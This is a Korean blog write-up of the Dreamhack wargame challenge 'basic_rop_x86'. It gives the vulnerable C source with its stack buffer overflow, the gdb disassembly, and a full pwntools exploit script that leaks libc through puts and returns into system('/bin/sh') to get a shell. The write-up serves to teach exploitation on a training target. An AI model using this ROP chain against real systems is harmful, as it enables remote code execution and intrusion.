[Dreamhack Wargame] basic_rop_x86

don't panic·2023년 12월 9일
0

System Hacking wargame

목록 보기
9/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

checksec 결과

  • 32bit 프로그램
  • Partial RELRO, NX enabled

gdb 결과

pwndbg> disass main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     push   edi
   0x080485dd <+4>:     sub    esp,0x40
   0x080485e0 <+7>:     lea    edx,[ebp-0x44]
   0x080485e3 <+10>:    mov    eax,0x0
   0x080485e8 <+15>:    mov    ecx,0x10
   0x080485ed <+20>:    mov    edi,edx
   0x080485ef <+22>:    rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>
   0x08048606 <+45>:    add    esp,0xc
   0x08048609 <+48>:    push   0x40
   0x0804860b <+50>:    lea    eax,[ebp-0x44]
   0x0804860e <+53>:    push   eax
   0x0804860f <+54>:    push   0x1
   0x08048611 <+56>:    call   0x8048450 <write@plt>
   0x08048616 <+61>:    add    esp,0xc
   0x08048619 <+64>:    mov    eax,0x0
   0x0804861e <+69>:    mov    edi,DWORD PTR [ebp-0x4]
   0x08048621 <+72>:    leave  
   0x08048622 <+73>:    ret    
End of assembler dump.
  • buf: [ebp-0x44]
  • SFP: [ebp]
  • RET: [ebp+0x4]

exploit

  • NX 보호기법이 켜져있고, Partial RELRO도 있지만 PIE는 꺼져있으므로 ret2main을 이용하자
  1. puts(read_got) + main을 payload의 ret 부분에 덮는다.
  2. read 주소를 알아내서 libc base를 찾고 main으로 돌아온다.
  3. system 함수와 library에 있는 "/bin/sh"를 찾는다.
  4. 다시 buf의 ret을 덮어서 system("/bin/sh");를 실행한다.
from pwn import *

p = remote('host3.dreamhack.games', 10286)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')

puts_plt = e.plt['puts']
read_got = e.got['read']
main = e.symbols['main']

pop = 0x0804868b
ret = 0x080483ce

payload = b'A' * 0x48								#buf+SFP
payload += p32(puts_plt) + p32(pop) + p32(read_got)	# puts(read_got);
payload += p32(main)								# main

p.send(payload)
p.recvn(0x40)
read = u32(p.recvuntil(b'\xf7')[-4:])
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
binsh = lb + list(libc.search(b'/bin/sh'))[0]

buf = b'A' * 0x48							# buf+SFP
buf += p32(system) + p32(pop) + p32(binsh)	# RET
p.send(buf)

p.interactive()

0개의 댓글